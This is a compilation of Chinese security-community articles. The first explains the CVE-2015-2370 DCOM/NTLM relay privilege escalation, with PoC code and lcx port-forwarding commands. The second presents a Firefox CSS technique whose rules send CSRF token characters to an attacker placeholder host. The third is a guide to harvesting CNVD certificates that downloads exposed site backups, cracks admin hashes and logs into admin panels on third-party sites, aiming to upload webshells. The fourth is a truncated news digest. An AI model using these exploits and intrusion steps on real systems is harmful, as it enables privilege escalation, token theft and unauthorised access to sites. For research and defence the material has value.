有一个运行在135端口的rpcss服务也就是dcom的激活服务负责协调本机所有com对象的激活,当本机激活时采用通过内核通信,无法捕获数据包,属于内部操作,只有当远程激活或远程重定向到本机激活这种方式才可以捕获到数据包.远程激活有2种方式,一种是采用CoCreateInstanceEx方式指定远程服务器和激活身份等参数调用rpscss的IRemoteSCMActivator接口的RemoteCreateInstance方法激活,或者CoGetClassObject
=调用rpscss的IRemoteSCMActivator接口的RemoteGetClassObject方法激活同样可选指定远程服务器和激活身份等参数.还有一种方式方式是客户端marshal服务端unmarshal方式,在marshal的stream中写入[OBJREF](https://msdn.microsoft.com/en-us/library/cc226828.aspx
"OBJREF")通过其中的DUALSTRINGARRAY字段指定远程解析的服务器或端口,远程服务器rpcss服务采用IObjectExporter接口中的ResolveOxid或ResolveOxid2方法实现反序列化出来需要unmarshal的远程com对象remunkown指针.CVE-2015-2370是通过在ntlm身份认证后在ResolveOxid2之后又重放了一个RemoteCreateInstance请求导致以客户端的高权限创建出来一个OLE
Packager的文件实现了权限提升.用户也可以创建一个rpc服务实现自己实现这2个接口自定义的rpcss解析和激活服务.这2个模块的可以在rpcss服务加载的rpcss.dll中找到具体实现,以下是接口定义:
[
uuid(99fcfec4-5260-101b-bbcb-00aa0021347a),
pointer_default(unique)
]
//marshal方式
interface IObjectExporter
{
[idempotent] error_status_t ResolveOxid
(
[in] handle_t hRpc,
[in] OXID *pOxid,
[in] unsigned short cRequestedProtseqs,
[in, ref, size_is(cRequestedProtseqs)]
unsigned short arRequestedProtseqs[],
[out, ref] DUALSTRINGARRAY **ppdsaOxidBindings,
[out, ref] IPID *pipidRemUnknown,
[out, ref] DWORD *pAuthnHint
);
[idempotent] error_status_t SimplePing
(
[in] handle_t hRpc,
[in] SETID *pSetId
);
[idempotent] error_status_t ComplexPing
(
[in] handle_t hRpc,
[in, out] SETID *pSetId,
[in] unsigned short SequenceNum,
[in] unsigned short cAddToSet,
[in] unsigned short cDelFromSet,
[in, unique, size_is(cAddToSet)] OID AddToSet[],
[in, unique, size_is(cDelFromSet)] OID DelFromSet[],
[out] unsigned short *pPingBackoffFactor
);
[idempotent] error_status_t ServerAlive
(
[in] handle_t hRpc
);
[idempotent] error_status_t ResolveOxid2
(
[in] handle_t hRpc,
[in] OXID *pOxid,
[in] unsigned short cRequestedProtseqs,
[in, ref, size_is(cRequestedProtseqs)]
unsigned short arRequestedProtseqs[],
[out, ref] DUALSTRINGARRAY **ppdsaOxidBindings,
[out, ref] IPID *pipidRemUnknown,
[out, ref] DWORD *pAuthnHint,
[out, ref] COMVERSION *pComVersion
);
[idempotent] error_status_t ServerAlive2
(
[in] handle_t hRpc,
[out, ref] COMVERSION *pComVersion,
[out, ref] DUALSTRINGARRAY **ppdsaOrBindings,
[out, ref] DWORD *pReserved
);
}
[
uuid(000001A0-0000-0000-C000-000000000046),
pointer_default(unique)
]
//CoCreateInstanceEx方式
interface IRemoteSCMActivator
{
void Opnum0NotUsedOnWire(void);
void Opnum1NotUsedOnWire(void);
void Opnum2NotUsedOnWire(void);
HRESULT RemoteGetClassObject(
[in] handle_t rpc,
[in] ORPCTHIS *orpcthis,
[out] ORPCTHAT *orpcthat,
[in,unique] MInterfacePointer *pActProperties,
[out] MInterfacePointer **ppActProperties
);
HRESULT RemoteCreateInstance(
[in] handle_t rpc,
[in] ORPCTHIS *orpcthis,
[out] ORPCTHAT *orpcthat,
[in,unique] MInterfacePointer *pUnkOuter,
[in,unique] MInterfacePointer *pActProperties,
[out] MInterfacePointer **ppActProperties
);
}
### 2.ntlm身份认证机制分析
[ntlm官方解释](http://davenport.sourceforge.net/ntlm.html)
CVE-2015-2370采用CoGetInstanceFromIStorage方式触发服务器从IStorage自身实现的IMarhal接口的MarshalInterface方法往stream中写入marshaldata
HRESULT CoGetInstanceFromIStorage(
COSERVERINFO *pServerInfo,
CLSID *pClsid,
IUnknown *punkOuter,
DWORD dwClsCtx,
IStorage *pstg,
DWORD dwCount,
MULTI_QI *pResults
);
marshaldata是一个OBJREF可以通过如下脚本使用010editor解析
local unsigned short sizetp;
struct tagOBJREF {
byte signature[4];
unsigned long flags;
struct iid
{
unsigned int Data1;
unsigned ushort Data2;
unsigned ushort Data3;
byte Data4[8];
} _iid;
if(OBJREF.flags==01h)
{
struct tagOBJREF_standard {
unsigned long flags;
unsigned long cPublicRefs;
struct oxid {
DWORD LowPart;
LONG HighPart;
} _oxid;
struct oid {
DWORD LowPart;
LONG HighPart;
} _oid;
struct ipid
{
unsigned int Data1;
unsigned ushort Data2;
unsigned ushort Data3;
byte Data4[8];
} _ipid;
struct tagDUALSTRINGARRAY {
unsigned short wNumEntries;
Printf("wNumEntries is %d",sizetp);
unsigned short wSecurityOffset;
sizetp=wSecurityOffset-2;
struct tagSTRINGBINDING {
unsigned short wTowerId;
unsigned short aNetworkAddr[sizetp];
} STRINGBINDING;
byte nullterm1[2];
struct tagSECURITYBINDING {
unsigned short wAuthnSvc; // Must not be zero
unsigned short wAuthzSvc; // Must not be zero
unsigned short aPrincName; // NULL terminated
} SECURITYBINDING;
byte nullterm2[2];
} dualstringarray;
} OBJREF_standard;
}
if(OBJREF.flags==02h)
{
struct tagOBJREF_handler {
unsigned char std[40];
struct clsid
{
unsigned int Data1;
unsigned ushort Data2;
unsigned ushort Data3;
byte Data4[8];
} _clsid;
unsigned char saResAddr[8];
} OBJREF_handler;
}
if(OBJREF.flags==04h)
{
struct tagOBJREF_custom {
struct clsid_custom
{
unsigned int Data1;
unsigned ushort Data2;
unsigned ushort Data3;
byte Data4[8];
} _clsid_custom;
unsigned long cbExtension;
unsigned long size;
unsigned byte pData;
} OBJREF_custom;
}
if(OBJREF.flags==08h)
{
unsigned byte std[40];
unsigned byte pORData[4];
unsigned byte saResAddr[12];
}
} OBJREF;
结果是一个standard的matshal模式,其中的DUALSTRINGARRAY字段指定远程解析的服务器为127.0.0.1的6666端口,也就是我们要使用中间人攻击监听端口,如下
127.0.0.1的6666监听的数据包经过中转后最终发送至135端口的rpcss服务,服务端先进行ServerAlive进行服务器时候在线确认,之后进行ntlm身份认证.
NTLM认证共需要三个消息完成：
(1). Type1 消息: Negotiate 协商消息。
客户端在发起认证时，是首先向服务器发送协商消息,协商需要认证的服务类型从数据包中UUID为IOXIDResolver(99fcfec4-5260-101b-bbcb-00aa0021347a)代表协商的服务是IObjectExporter,如图它被我们替换成了ISystemActivator(000001a0-0000-0000-c000-000000000046)代表协商的服务替换成IRemoteSCMActivator方式,这里CVE-2015-2370为之后重放了一个RemoteCreateInstance请求做铺垫,告诉rpcss服务要最终要激活和请求是RemoteCreateInstance数据包中的内容,Type1
消息中的Negotiate Flags代表客户端要和服务器端协商加密等级
(2). Type2 消息: Challenge 挑战消息。
服务器在收到客户端的协商消息之后，在Negotiate
Flags写入出自己所能接受的加密等级,并生成一个随机数challenge返回给客户端.这个challenge实际上也可以被重放,由接受另一个Authenticate来认证,实现身份窃取,笔者会在接下去的实验中认证.如果Type2
消息的reserved字段不为0,为本机内部认证,可以在[RottenPotato](https://github.com/breenmachine/RottenPotatoNG)类似的方式使用[SSPI](https://docs.microsoft.com/zh-cn/windows/desktop/SecAuthN/authentication-functions)中的函数获取SecurityContext,有兴趣的读者可以研究下.
(3). Type3 消息: Authenticate激活消息。
客户端在收到服务端发回的Challenge消息之后,读取了服务端的随机数challenge。使用自己的客户端身份信息以及服务器的随机数challenge通过复杂的运算,生成一个客户端随机数challenge和客户端的在Negotiate
Flags,如果包含签名这会把整个Authenticate认证消息加入运算,导致身份窃取替换无效,如无签名可以替换,详细看实验证明.Authenticate认证消息发送之后客户端会在服务器端返回之前接着发送ResolveOxid2(IObjectExporter模式)或RemoteCreateInstance(IRemoteSCMActivator模式)给服务器端,告诉服务器端最终需要解析的请求.
(4). 服务器在收到 Type3的消息之后,处理请求后会返回激活成功或失败消息,至此dcom远程激活完成
### 3.任意文件创建过程
从数据包分析IRemoteSCMActivator::RemoteCreateInstance主要是其中pActProperties结构其中包含这几个常见字段
详细解释可以参考[官方文档](https://msdn.microsoft.com/en-us/library/cc226965.aspx),其中InstanceInfoData的InstantiatedObjectClsId是表示要创建com实例的OLE
Packager的clsid:
{F20DA720-C02F-11CE-927B-0800095AE340},由于wireshark错位的原因以二进制中的数据为准
OLE
Packager是一个ActiveX控件的包格式,会将自身在pActProperties其中的InstanceInfoData字段的ifdStg的marshal结构中的二进制数据写入C:\Users\<username>\AppData\Local\Temp(2)的文件中当被创建时
typedef struct tagInstanceInfoData {
[string] wchar_t* fileName;
DWORD mode;
MInterfacePointer* ifdROT;
MInterfacePointer* ifdStg;
} InstanceInfoData;
这个ifdStg也是一个OBJREF结构,它通过一个ObjrefMoniker将这个OLE
Packager对象转换而成,CreateObjrefMoniker是一个将com对象marshal后转换成一个moniker可以在ObjrefMoniker::GetDisplayName函数中获取Base64Encoded的OBJREF二进制数据的函数.poc中读取源文件的二进制数据filedata是最终要创建高权限文件的内容写入OLE
Packager,导致在OLE
Packager的unmarshal后位于C:Users<username>AppDataLocalTemp创建一个文件名为(2)的文件内容为filedata,通过创建CreateJunction给temp和C:userspubliclibrariesSym文件夹使(2)的文件也会在Sym里创建,同时创建CreateSymlink给Sym文件夹的(2)文件和最终要写入的任意文件路径,导致(2)中的filedata二进制写入目标文件,最终实现RemoteCreateInstance被服务器端解析后以高权限进程写入任意文件
public const string CLSID_Package = "f20da720-c02f-11ce-927b-0800095ae340";
public static IStorage CreatePackageStorage(string name, byte[] filedata)
{
//将源文件的二进制数据filedata写入OLE Packager
MemoryStream ms = new MemoryStream(PackageBuilder.BuildPackage(name, filedata));
IStorage stg = CreateStorage("dump.stg");
ComUtils.OLESTREAM stm = new ComUtils.OLESTREAM();
stm.GetMethod = (a, b, c) =>
{
//Console.WriteLine("{0} {1} {2}", a, b, c);
byte[] data = new byte[c];
int len = ms.Read(data, 0, (int)c);
Marshal.Copy(data, 0, b, len);
return (uint)len;
};
OleConvertOLESTREAMToIStorage(ref stm, stg, IntPtr.Zero);
//写入OLE Packager的clasid
Guid g = new Guid(CLSID_Package);
stg.SetClass(ref g);
return stg;
}
//通过ObjrefMoniker创建二进制OBJREF填充ifdStg
public static byte[] GetMarshalledObject(object o)
{
IMoniker mk;
CreateObjrefMoniker(Marshal.GetIUnknownForObject(o), out mk);
IBindCtx bc;
CreateBindCtx(0, out bc);
string name;
mk.GetDisplayName(bc, null, out name);
return Convert.FromBase64String(name.Substring(7).TrimEnd(':'));
}
[MTAThread]
static void DoRpcTest(object o, ref RpcContextSplit ctx, string rock, string castle)
{
ManualResetEvent ev = (ManualResetEvent)o;
TcpListener listener = new TcpListener(IPAddress.Loopback, DUMMY_LOCAL_PORT);
byte[] rockBytes = null;
//读取源文件的二进制数据filedata写入OLE Packager
try { rockBytes = File.ReadAllBytes(rock); }
catch
{
Console.WriteLine("[!] Error reading initial file!");
Environment.Exit(1);
}
Console.WriteLine(String.Format("[+] Loaded in {0} bytes.", rockBytes.Length));
bool is64bit = !string.IsNullOrEmpty(Environment.GetEnvironmentVariable("PROCESSOR_ARCHITEW6432"));
try
{
Console.WriteLine("[+] Getting out our toolbox...");
if (is64bit)
{
File.WriteAllBytes("C:\users\public\libraries\createsymlink.exe", Trebuchet.Properties.Resources.CreateSymlinkx64);
}
else
{
File.WriteAllBytes("C:\users\public\libraries\createsymlink.exe", Trebuchet.Properties.Resources.CreateSymlinkx86);
}
}
catch
{
Console.WriteLine("[!] Error writing to C:\users\public\libraries\createsymlink.exe!");
Environment.Exit(1);
}
string name = GenRandomName();
string windir = Environment.GetFolderPath(Environment.SpecialFolder.Windows);
string tempPath = Path.Combine(windir, "temp", name);
//Sym文件夹使(2)的文件也会在Sym里创建
if (!CreateJunction(tempPath, ""C:\users\public\libraries\Sym\"))
{
Console.WriteLine("[!] Couldn't create the junction");
Environment.Exit(1);
}
//Sym文件夹使(2)中的filedata二进制写入目标文件castle
if (CreateSymlink("C:\users\public\libraries\Sym\ (2)", castle)) //Exit bool is inverted!
{
Console.WriteLine("[!] Couldn't create the SymLink!");
Environment.Exit(1);
}
IStorage stg = ComUtils.CreatePackageStorage(name, rockBytes);
byte[] objref = ComUtils.GetMarshalledObject(stg);
.....
}
## 复现小实验
### 1.实验环境
操作系统：Windows Server 20008 R2
开发环境: vs2013
### 2.实验设计
我设计了一个实验来演示ntlm数据包重放现象,[git地址](https://gitee.com/cbwang505/ntlm)
我创建了2个用户alice和bob,分别以alice和bob身份CoCreateInstanceEx创建一个com对象.然后把这2个创建过程的数据包通过2个lcx服务器(192.168.0.6=>proxy1和192.168.0.12->proxy2)的135端口中转至本机135端口,通过以下lcx命令:
在192.168.0.6和192.168.0.12上分别执行
lcx -listen 1234 135
在本机上执行
lcx -slave 192.168.0.6 1234 127.0.0.1 2222
lcx -slave 192.168.0.12 1234 127.0.0.1 6666
过程如下图:
在这个进程中把把rpcss服务给alice的ntlm认证tyep2
Challenge激活消息转发给接收bob,alice绑定的rpcss服务接收bob的tyep3
Authenticate消息的,把rpcss服务给bob的tyep2 Challenge转发给alice,bob绑定rpcss服务接收alice的tyep3
Authenticate消息的,由于ntlm机制的原因Challenge和Authenticate消息都是本机的激活消息,Authenticate消息也没有给自己添加签名(IRemoteSCMActivator模式),我们看数据包分析
结果都返回了RemoteCreateInstance成功的返回消息
接下来我们把alice的身份换成了一个不存在的用户alice1,也以同样的方式转发tyep2 Challenge和tyep3
Authenticate消息,实验的结果是这个不存在的alice1用户反而被bob成功创建CoCreateInstanceEx了com对象,反过来说原本应该成功的bob被alice1的身份替换了反而创建失败
### 3.实验结论
既然alice和bob的消息可以通过替换身份信息创建com对象,那么以CVE-2015-2370中采用CoGetInstanceFromIStorage方式以system权限的IObjectExporter中的ntlm认证消息能以这样方式重放吗,答案是不行的,因为IObjectExporter的tyep3
Authenticate包含对IObjectExporter的签名,rpcss服务还是会对RemoteCreateInstance请求返回拒绝访问,但是CVE-2015-2370方式是可以的因为之前替换了IOXIDResolver了ISystemActivator的激活方式,tyep3
Authenticate消息仍然保持之前对消息签名而且数据包没中转,RemoteCreateInstance请求仍是签名过的,所以最后会成功.另外提一点IObjectExporter的签名等级高于IRemoteSCMActivator,如果有中转IObjectExporter到IRemoteSCMActivator是不行的,但是IRemoteSCMActivator到IObjectExporter是可以的,但是IObjectExporter创建不了com对象,所以没法实现提权.如果读者有兴趣可自行尝试
## 引用
[CVE-2015-2370官方链接](https://bugs.chromium.org/p/project-zero/issues/detail?id=325&can=1&q=dcom&colspec=ID%20Status%20Restrict%20Reported%20Vendor%20Product%20Finder%20Summary
"project-zero")
[poc下载](https://github.com/monoxgas/Trebuchet)
[实验源码git地址](https://gitee.com/cbwang505/ntlm) | 社区文章 |
# 在Firefox浏览器中利用CSS窃取数据
|
##### 译文声明
本文是翻译文章，文章原作者 securitum，文章来源：research.securitum.com
原文地址：<https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
几个月之前，我在Firefox中找到了一个漏洞（[CVE-2019-17016](https://www.mozilla.org/en-US/security/advisories/mfsa2020-01/#CVE-2019-17016)）。在研究过程中，我发现了在Firefox浏览器中利用CSS的一种数据窃取技术，可以通过单个注入点窃取数据，这里我想与大家一起分享相关研究成果。
## 0x01 背景知识
为了演示方便，这里假设我们想窃取`<input>`元素中的CSRF令牌。
<input type="hidden" name="csrftoken" value="SOME_VALUE">
我们无法使用脚本（可能是因为CSP），因此想寻找基于样式的注入方法。传统方法是使用属性选择器，如下所示：
input[name='csrftoken'][value^='a'] {
background: url(//ATTACKER-SERVER/leak/a);
}
input[name='csrftoken'][value^='b'] {
background: url(//ATTACKER-SERVER/leak/b);
}
...
input[name='csrftoken'][value^='z'] {
background: url(//ATTACKER-SERVER/leak/z);
}
如果应用了CSS规则，那么攻击者就能收到HTTP请求，从而获取到令牌的第1个字符。随后，攻击者需要准备另一个样式表，其中包含已窃取的第1个字符，如下所示：
input[name='csrftoken'][value^='aa'] {
background: url(//ATTACKER-SERVER/leak/aa);
}
input[name='csrftoken'][value^='ab'] {
background: url(//ATTACKER-SERVER/leak/ab);
}
...
input[name='csrftoken'][value^='az'] {
background: url(//ATTACKER-SERVER/leak/az);
}
通常情况下，攻击者需要重新加载`<iframe>`中已加载的页面，以便提供后续样式表。
在2018年，[Pepe
Vila](https://twitter.com/cgvwzq)提出了一个非常不错的想法，可以在Chrome浏览器中滥用[CSS递归import](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231)方式，通过单个注入点完成相同任务。在2019年，Nathanial
Lattimer（@d0nutptr）重新提出了相同[技巧](https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b)，但稍微做了点改动。下面我稍微总结一下Lattimer的方法，这种方法与本文的思想比较接近（但我在此次研究过程中并不了解Lattimer之前的成果，因此可能有人会认为我在重复造轮子）。
简而言之，第一次注入用到了一堆`import`：
@import url(//ATTACKER-SERVER/polling?len=0);
@import url(//ATTACKER-SERVER/polling?len=1);
@import url(//ATTACKER-SERVER/polling?len=2);
...
核心思想如下：
1、在一开始，只有第1个`[@import](https://github.com/import
"@import")`会返回样式表，其他语句处于连接阻塞状态。
2、第1个`[@import](https://github.com/import "@import")`返回样式表，泄露令牌的第1个字符。
3、当泄露的第1个令牌到达`ATTACKER-SERVER`，第2个`import`停止阻塞，返回包含第1个字符的样式表，尝试泄露第2个字符。
4、当第2个泄露字符到达`ATTACKER-SERVER`时，第3个`import`停止阻塞……以此类推。
这种技术之所以行之有效，是因为Chrome会采用异步方式处理`import`，因此当任何`import`停止阻塞时，Chrome会立即解析该语句并应用规则。
## 0x02 Firefox及样式表处理
前面提到的方法并不适用于Firefox，与Chrome浏览器相比，Firefox对样式表的处理方式大不相同。这里我以几个案例来说明其中差异。
首先，Firefox会采用同步方式处理样式表。因此，当样式表中有多个`import`时，只有当所有`import`都处理完毕时，Firefox才会应用CSS规则。考虑如下案例：
<style>
@import '/polling/0';
@import '/polling/1';
@import '/polling/2';
</style>
假设第1个`[@import](https://github.com/import
"@import")`返回CSS规则，将页面背景设置为蓝色，后续的`import`处于阻塞状态（比如永远不会返回任何内容，会挂起HTTP连接）。在Chrome浏览器中，页面会立即变为蓝色，而在Firefox中并不会有任何反应。
我们可以将所有`import`放在独立的`<style>`元素中，从而解决该问题：
<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>
在上面代码中，Firefox会分别处理所有样式表，因此页面会立刻变蓝色，其他`import`会在后台处理。
但这里还有另一个问题，假设我们想窃取包含10个字符的令牌：
<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>
...
<style>@import '/polling/10';</style>
Firefox会立即将10个`import`加入队列。在处理完第1个`import`后，Firefox会将带有已知字符的另一个请求加入队列。这里的问题在于，该请求会被加到队列末尾。而在默认情况下，浏览器有个限制条件，到同一个服务器只能有6个并发连接。因此，带有已知字符的请求永远不会到达目标服务器，因为已经有到该服务器的6个阻塞连接，最终出现死锁现象。
## 0x03 HTTP/2
6个连接的限制条件由TCP层决定，因此到单个服务器只能有6个TCP连接同时存在。在这种情况下，我认为HTTP/2可能派上用场。HTTP/2有许多优点，比如我们可以通过单个连接发送多个HTTP请求（也就是所谓的多路传输（[multiplexing](https://stackoverflow.com/questions/36517829/what-does-multiplexing-mean-in-http-2)）），从而大大提升性能。
Firefox对单个HTTP/2连接的并发请求数也有限制，但默认情况下限制数为`100`（具体设置参考`about:config`中的`network.http.spdy.default-concurrent`）。如果我们需要更多并发数，可以使用不同的主机名，强制Firefox创建第2个TCP连接。比如，如果我们创建到`https://localhost:3000`的`100`个请求，也创建到`https://127.0.0.1:3000`的`50`个请求，此时Firefox就会创建2个TCP连接。
## 0x04 利用方式
现在一切准备就绪，我们的主要利用场景如下：
1、利用代码基于HTTP/2。
2、通过`/polling/:session/:index`端点可以返回CSS，泄露第`:index`字符。该请求会处于阻塞状态，直到前一个请求成功泄露第`index-1`个字符。`:session`路径参数用来区分多次攻击行为。
3、通过`/leak/:session/:value`端点来泄露整个令牌。这里`:value`为获取到的完整值，而不单单是最后一个字符。
4、为了强制Firefox向同一个服务器发起2个TCP连接，这里用到了两个端点，分别为`https://localhost:3000`及`https://127.0.0.1:3000`。
5、端点`/generate`用来生成示例代码。
我创建了一个[测试平台](https://github.com/securitum/research/blob/master/r2020_firefox-css-data-exfil/testbed.html)，目标是通过这种方式窃取`csrftoken`，大家可通过[此处](https://htmlpreview.github.io/?https://github.com/securitum/research/blob/master/r2020_firefox-css-data-exfil/testbed.html)直接访问该平台。
此外，我还在GitHub上托管了[PoC代码](https://github.com/securitum/research/blob/master/r2020_firefox-css-data-exfil/exploit.js)，攻击过程可参考[此处视频](https://research.securitum.com/wp-content/uploads/sites/2/2020/02/firefox-leak.mp4)。
有趣的是，由于我们使用的是HTTP/2，因此攻击过程非常快速，不到3秒就能获取到整个令牌。
## 0x05 总结
在本文中，我演示了如何利用1个注入点，在不想重载页面的情况下，通过CSS窃取数据。这里主要涉及2个要点：
1、将`[@import](https://github.com/import
"@import")`规则拆分成多个样式表，后续`import`不会阻塞浏览器对整个样式表的处理。
2、为了绕过TCP并发连接数限制，我们需要通过HTTP/2发起攻击。 | 社区文章 |
# 一、前言
做任何事情，付出就要有回报，这样才会有动力。而对于挖漏洞这件事情，回报其实就是获得证书和奖金了。今天我就来讲讲如何获得证书。发现很多师傅对cnvd证书的挖掘缺乏思路，明明已经学了很多知识，但却苦无思路。看着一些大佬整天貌似不费吹灰之力便得到很多证书，除了羡慕，还是羡慕。作为一个过来人，我这次就来讲述一下我拿到第一张cnvd原创漏洞证书的过程。首先先声明一下，由于本人技术有限，可能不能很好的诠释，希望各位师傅看了轻喷，谢谢观看。
**注：福利在文末**
# 二、通用型漏洞
首先最开始我是不了解事件型漏洞跟通用型漏洞的区别，所以每次挖到一个漏洞都没有发散思维，只是单纯的提交事件型漏洞。现在我个人的理解为事件型漏洞是某个网站存在某类型漏洞，通用型漏洞为同一建站厂商的多个建站网站存在相同类型漏洞。其次提交cnvd漏洞平台需要10例案例好像，然后要复现其中的三例并且所述案例都属于同一建站厂商且存在相同类型的漏洞。想要获得证书需要以下要求：
（1）对于中危及中危以上通用型漏洞（CVSS2.0基准评分超过4.0分）（除小厂商的产品、黑盒测试案例不满10起等不颁发证书）
（2）涉及电信行业单位（中国移动、中国联通、中国电信及中国铁塔公司）和中央部委级别(不含直属事业单位)的高危事件型漏洞。
因为我今天讲的是通用型漏洞的挖掘，而第2条是涉及到事件型漏洞，所以咱们先不看第2个条件。
现在这些都不是最难的，最难的是建站厂商的注册资本得过5000万以上，这三个条件缺一不可。看到这里你可千万别被劝退了，还是有很多机会的哦，不然像我这种菜鸡是如何挖到的呢~~
# 三、漏洞挖掘思路历程
本次挖掘的漏洞类型是信息泄露，其实就是网站的源码备份被攻击者下载下来，从而导致网站的数据泄露。那么如何更加便捷的找到此类漏洞呢，还有这些源码备份的目录到底有哪些呢？这里大家可以看看我的另外一篇文章，其中也有源码备份目录的字典：<https://xz.aliyun.com/t/9362>。下面我就讲讲详细细节吧。
## 详细细节
我就挑其中一个建站系统的几个案例来讲述吧。
访问<http://xxx/admin.zip>，此url存在网站源码任意下载，该漏洞往往会导致服务器整站源代码或者部分页面的源代码被下载，利用。源代码中所包含的各类敏感信息，如服务器数据库连接信息，服务器配置信息等会因此而泄露，造成巨大的损失。被泄露的源代码还可能会被用于代码审计，进一步利用而对整个系统的安全埋下隐患。
[
[
这个时候我们可以将网站的备份信息下载下来利用，然后查看厂商的信息，从而获取更多存在该漏洞的案例站点。在网页中找到“技术支持:XXX公司”，然后可以利用搜索引擎搜索，使用Google
Hacking语法 **index:技术支持:XXX公司**
；也可以用空间搜索引擎搜索，例如fofa、ZoomEye等；也可以比如用天眼查去查该厂商其它的备案号，也会存在相同的漏洞；可以去该建站厂商的官网查看建站案例尝试是否有相同漏洞；还可以去查查同ip的网站，说不定也有意外的惊喜等着你~
空间搜索引擎有自己的语法，像fofa搜建站就用app或者title。像搜索通达信科建站系统案例：`app="TDXK-通达OA"`，搜索pbootcms建站系统案例：`title="pbootcms"`或者`app="pbootcms"`
Google Hacking语法：
[
建站案例：
[
用天眼查去查该厂商其它的备案号：
[
通过这些方法我找到了建站厂商建设的多家站点，我们就可以一个站点一个站点的去测试漏洞是否存在，通用漏洞搜集相关的站点比较繁杂，不是所有相同建站站点都存在相同漏洞，这就很需要有耐心和细心了。
# 四、漏洞利用
源码备份还是有挺多可以利用的点，简单讲一下漏洞利用的思路。就是网站的源码备份被攻击者下载下来，其中还泄露了数据库文件，用对应的数据查看器可以查看其中数据，找到管理员账号密码，然后再审计出网站后台，登陆进去看看能不能传马等操作。流程大概是这么个流程，下面我就讲讲详细细节吧。
## 详细细节
我就挑我挖的几个建站系统中的其中一个比较好的来讲述吧。
将网站备份文件 **admin.zip** 下载下来之后，我们可以去查看该压缩包的文件信息
[
在这里我们可以做一做代码审计，以及敏感文件的获取
[
网页的配置信息泄露、数据库的data信息泄露
[
[
审计敏感文件，发现数据库配置信息，数据库账号密码泄露User Id=xxx Password=xxx
如果没做host限制，攻击者可以尝试登录
[
管理员登录界面泄露<http://www.xxx.com/xxx.html>
可以看到该登录框不需要二次验证也没有错误限制的次数。攻击者可以尝试暴力破解,但是因为我们有数据库信息在手，那咱就直接冲，登录成功~
[
这里还通过代码审计找到了后台目录下的界面，发现存在越权访问，可以在不登录管理员的情况下使用管理员权限。效果如下
[
越权访问管理员界面---访问网页日志
管理员手机号和邮箱信息泄露，以及管理任务泄露，可以新增任务，攻击者可以以此来增加像服务器挖矿这类的任务，消耗服务器资源来获取利益。
[
下面介绍另外一个案例的详细细节：
访问<http://xxx/wwwroot.rar>，存在源码任意下载
[
源码泄露（可作网页任意路径穿透，任意文件下载，代码审计等），其中椭圆部分就是该网站的后台目录。我们可以看出它的复杂化，这个即使是有再强大的字典一般也是跑不出来的，但是源码泄露导致后台登录界面泄露
[
代码审计（数据库信息和网站信息）
[
[
数据库泄露
搜索db，将这个db文件解压出来
[
我这里用“ **SQLiteSpy_1.9.8** ”数据查看器打开该db文件。如果是sql后缀文件，那就是mysql数据库文件，就用
**Navicat** 打开；如果是mdb后缀文件，那就是access数据库文件，就用 **破障access数据查看器** 打开。
[
其中网页管理员账号密码泄露，密码是用了md5算法，使用md5在线解密就跑出来了
[
根据代码审计找出管理员登录界面
<http://xxx/adfmin78QKYJljkq/login.asp>，上面也有提到，可以看出登录链接的复杂化，但是源码泄露导致后台登录界面泄露
[
最后也登录成功。然后进去可以看看有没有可用上传点，尝试传马等操作。
由于本人能力有限，对于网站源码的利用还不是很到位，在这里就分享一下这两个挖掘建站系统的案例，各位师傅可以提自己的建议哦~
# 五、结尾
搜集10起相同案例的站点，然后整合成一份文档即可提交cnvd漏洞平台，然后就是等待漏洞审核归档了。
emm~这里的福利就是给大家看看我的证书，就是想和大家分享分享我的喜悦，看我这份臭不要脸的样儿~~
[
更多福利请关注本人公众号" **挽风安全** "吧！
参考文章链接：
1.[https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=60226&highlight=cnvd](https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=60226&highlight=cnvd
"https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=60226&highlight=cnvd")
2.<https://zhuanlan.zhihu.com/p/271848174> | 社区文章 |
# 【知识】6月1日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：** Joomla Core 3.x后台getshell、Chrome缺陷导致网站秘密记录音频和视频、Windows内核池喷射、sudo-CVE-2017-1000367漏洞利用程序、趋势科技深度安全防护6.5 – XML外部实体注入/本地特权升级/远程执行代码、Split Tunnel
SMTP漏洞解析、绕过无线网络的MAC过滤、使用数据格式混淆绕过NGFW/WAFs **
**
**
**
**资讯类：**
* * *
影子经纪人响应团队正在为NSA泄露工具的分析进行公开众筹
[https://www.patreon.com/shadowbrokers_crisis_team](https://www.patreon.com/shadowbrokers_crisis_team?utm_campaign=buffer&utm_content=buffer05162&utm_medium=social&utm_source=twitter.com)
网络安全法今天落地执行
<http://www.miit.gov.cn/n1146295/n1146557/n1146614/c5345009/content.html>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
Joomla Core 3.x后台getshell
<https://howucan.gr/vulnerabilities/joomla-exploits/2215-joomla-core-3-x-poc-vulnerability-shell-upload>
Chrome缺陷导致网站秘密记录音频和视频
<http://bobao.360.cn/news/detail/4183.html>
Windows内核池喷射
<http://bobao.360.cn/learning/detail/3921.html>
sudo-CVE-2017-1000367漏洞利用程序
<https://github.com/c0d3z3r0/sudo-CVE-2017-1000367>
XSS on any Shopify shop via abuse of the HTML5 structured clone algorithm in
postMessage listener on "/:id/digital_wallets/dialog"
<https://hackerone.com/reports/231053>
“EsteemAudit” Windows 远程桌面漏洞分析
<http://researchcenter.paloaltonetworks.com/2017/05/unit42-dissection-esteemaudit-windows-remote-desktop-exploit/>
在移动设备上实现Energy攻击
<https://arxiv.org/pdf/1704.04464.pdf>
趋势科技深度安全防护6.5 – XML外部实体注入/本地特权升级/远程执行代码
<https://www.exploit-db.com/exploits/42089/>
macOS上FileVault软件破解工具
<https://github.com/macmade/FileVaultCracker/blob/master/README.md>
Sophisticated Google Play BankBot Trojan campaigns
